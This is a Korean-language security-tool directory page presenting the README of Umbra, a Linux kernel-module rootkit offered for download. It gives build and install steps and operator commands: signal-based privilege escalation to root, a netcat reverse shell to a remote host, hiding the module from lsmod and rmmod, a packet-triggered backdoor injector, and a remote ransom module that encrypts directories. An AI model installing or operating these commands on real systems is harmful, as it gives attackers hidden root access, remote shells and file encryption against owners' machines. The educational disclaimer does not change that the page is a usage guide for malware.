Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
Umbra — 4.x 및 5.x 커널 버전을 대상으로 하는 LKM 루트킷으로, 원격 호스트에 리버스 셸을 생성하고 악성코드를 실행하는 등의 작업을 수행할 수 있는 백도어를 엽니다. | Kitploit
도구/GitHubGitHub/h3xduck/umbra
Privilege EscalationEncryption/Decryption ToolsPersistence MechanismsIDS/IPS EvasionPost-ExploitationCommand and ControlLearning & EducationPayload DevelopmentRemote Access Trojan
GitHubh3xduck/umbra

Umbra

4.x 및 5.x 커널 버전을 대상으로 하는 LKM 루트킷으로, 원격 호스트에 리버스 셸을 생성하고 악성코드를 실행하는 등의 작업을 수행할 수 있는 백도어를 엽니다.

1362744년 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
저장소 보기

GitHub release (latest by date including pre-releases) Maintainability GitHub code size in bytes GitHub last commit

Umbra

Umbra는 커널 4.x 및 5.x(5.7까지)용 실험적인 원격 제어 가능 LKM 루트킷으로, 네트워크 백도어를 열어 원격 호스트로 리버스 셸을 실행하고, 원격으로 악성코드를 실행하는 등 다양한 기능을 제공합니다.

이 루트킷은 아직 개발 중이지만, 아래 나열된 기능들은 이미 완전히 작동합니다.

Backdoor in action

참고: 이 루트킷은 커널 5.4.0과 Ubuntu 18.04를 사용하여 개발 및 테스트되었습니다.

Features

  • 🌟 악성 TCP 패킷을 수신한 후 원격 IP로 리버스 셸을 실행하는 백도어.
  • 🌟 Umbra Injector를 사용하여 루트킷을 원격으로 제어:
    • 원격 리버스 셸.
    • 루트킷 원격 숨기기/숨기기 해제.
    • Umbra Modules 실행.
  • 새 기능: Umbra Modules 추가 - Umbra를 강화하고 Umbra Injector로 원격 실행할 수 있는 특수한 악성코드형 모듈입니다.
  • 새 기능: Umbra를 원격으로 제어 가능한 랜섬웨어로 변환하는 "Ransom" Umbra 모듈.

Ransom module in action

  • Umbra는 ls와 같은 사용자 명령에서 모든 파일과 디렉터리를 숨깁니다.
  • Umbra는 시그널을 통해 원격 및 로컬에서 자신을 숨기거나 숨기기를 해제할 수 있습니다.
  • 시그널 50 전송을 통한 권한 상승.
  • 모듈 로드 시 netcat 리버스 셸 실행.
  • 시그널 51 전송으로 원격 호스트에 netcat 리버스 셸 실행.

더 많은 기능이 향후 업데이트에서 추가될 예정입니다.

Disclaimer

이 루트킷은 순전히 교육 목적입니다. 의도하지 않은 사용으로 인해 발생하는 어떠한 손해에 대해서도 책임지지 않습니다.

또한 Umbra는 가벼운 은닉 및 보호 메커니즘만 포함하고 있음을 유의하세요. 실제 환경에서 사용하기 위한 것이 아닙니다.

중요: 이 루트킷을 자신의 머신에서 테스트하려면 VM을 사용할 것을 강력히 권장합니다.

Umbra Modules 정보: ransom 모듈은 단순한 암호화 메커니즘을 사용하지만 실제로 컴퓨터의 어떤 폴더든 암호화할 수 있습니다. 파일은 쉽게 복호화할 수 있지만, 통제된 환경이 아니라면 루트 폴더 등에 실행하는 것을 절대 권장하지 않습니다.

Table of Contents

  1. Build and Install
  2. Unloading Umbra
  3. Local Control
  4. Umbra Injector: Remote Control
  5. Umbra Modules
    • (NEW) Ransom
  6. References

Build and install

4.x 또는 5.x 커널이 있어야 합니다.

  1. 커널 헤더 파일 다운로드
root@kitploit:~
apt install linux-headers-$(uname -r)
  1. 커널 헤더 디렉터리(일반적으로 /usr/src 아래)를 포함하도록 include 경로를 구성합니다. vscode를 사용하는 경우 .vscode/c_cpp_properties.json에서 포함할 디렉터리의 예를 확인할 수 있습니다.

  2. 프로젝트 클론

root@kitploit:~
git clone https://github.com/h3xduck/Umbra.git
cd Umbra
  1. Umbra 빌드
root@kitploit:~
make
  1. 커널에 Umbra를 로드하고 환경 구성 이 스크립트는 커널에 Umbra를 설치하고 악성코드 모듈을 저장할 특수 디렉터리를 구성합니다. 이 디렉터리는 나중에 루트킷에 의해 숨겨집니다.
root@kitploit:~
sudo ./install.sh

이전에 스크립트를 실행했고 커널에 Umbra만 설치하려면 다음을 실행하면 됩니다:

root@kitploit:~
sudo insmod ./umbra.ko

Unloading Umbra

Umbra가 invisible 모드가 아닌지 확인하세요. 그렇지 않으면 실패합니다.

root@kitploit:~
sudo rmmod umbra

Basic Usage: Local control

현재 사용자 권한을 root로 변경

  • 임의의 PID에 시그널 50을 전송합니다.
root@kitploit:~
kill -50 1

IP:PORT로 리버스 netcat 셸 시작

  • 루트킷을 빌드하기 전에 CONFIG.H에서 원하는 IP와 포트를 설정합니다. 기본값은 127.0.0.1:5888입니다.

  • 원격 호스트에서 수신 대기를 시작합니다.

root@kitploit:~
nc -lvp 5888
  • 임의의 PID에 시그널 51을 전송합니다. Umbra가 이를 감지하고 셸을 시작합니다.
root@kitploit:~
kill -51 1

참고: Umbra는 로드 시에도 리버스 셸을 시작하려고 시도합니다.

루트킷 숨기기 - Invisible 모드

이 기능은 lsmod와 같은 명령에 루트킷이 표시되거나 rmmod로 제거되는 것을 방지합니다.

root@kitploit:~
kill -52 1

루트킷 숨기기 해제

활성화된 invisible 모드를 해제합니다.

root@kitploit:~
kill -53 1

Umbra Injector: Remote control

백도어를 통한 리버스 셸 획득

Umbra Injector는 Umbra가 설치되기 전에 실행하거나(설치되면 셸을 획득), 대상 시스템에 Umbra가 설치된 후에 실행할 수 있습니다.

root@kitploit:~
./injector -S 127.0.0.1

백도어는 다음 페이로드가 포함된 패킷을 수신 대기합니다: UMBRA_PAYLOAD_GET_REVERSE_SHELL.

또한 제 라이브러리 RawTCP를 사용하여 자신만의 인젝터를 빌드할 수 있습니다.

루트킷 원격 숨기기 - Invisible 모드

이 기능은 lsmod와 같은 명령에 루트킷이 표시되거나 rmmod로 제거되는 것을 방지합니다.

root@kitploit:~
./injector -i 127.0.0.1

루트킷 원격 숨기기 해제

활성화된 invisible 모드를 해제합니다.

root@kitploit:~
./injector -u 127.0.0.1

도움말

다음을 통해 Umbra Injector 실행 방법에 대한 전체 정보를 확인할 수 있습니다:

root@kitploit:~
./injector -h

Umbra Modules

Umbra Modules는 install.sh 스크립트에 의해 /tmp/umbra에 저장되며, Umbra가 이를 숨깁니다. 이 디렉터리는 ls 및 유사한 명령으로는 표시되지 않습니다.

Ransom 모듈

이 모듈은 Umbra Injector를 통해 원격 랜섬웨어 유형 공격을 실행할 수 있습니다. 암호화된 파일은 .ubr 확장자로 표시됩니다.

현재 암호화 메커니즘은 개념 증명용 단순 비트 수준 NOP입니다. 모듈을 편집하여 자신만의 암호화 알고리즘을 포함할 수 있습니다.

디렉터리 및 모든 하위 디렉터리 암호화

root@kitploit:~
./injector -p /Your/Path/To/Encrypt -e 127.0.0.1

디렉터리 및 모든 하위 디렉터리 복호화

root@kitploit:~
./injector -p /Your/Path/To/Decrypt -d 127.0.0.1

References

이 루트킷의 개발에는 LKM 및 루트킷 기술에 대한 상당한 양의 연구가 필요했습니다. 다음은 제가 사용한 자료의 불완전한 목록입니다: LKM 생성 방법:

  • https://sysprog21.github.io/lkmpg/

Linux syscall 참조:

  • https://syscalls64.paolostivanin.com/

일부 루트킷 참고 자료:

  • https://xcellerator.github.io/posts/
  • https://web.archive.org/web/20160620231623/http://big-daddy.fr/repository/Documentation/Hacking/Security/Malware/Rootkits/writing-rootkit.txt
  • https://github.com/f0rb1dd3n/Reptile

License

이 프로젝트는 GPLv2 라이선스에 따라 라이선스가 부여됩니다. LICENSE를 참조하세요.

도구 다운로드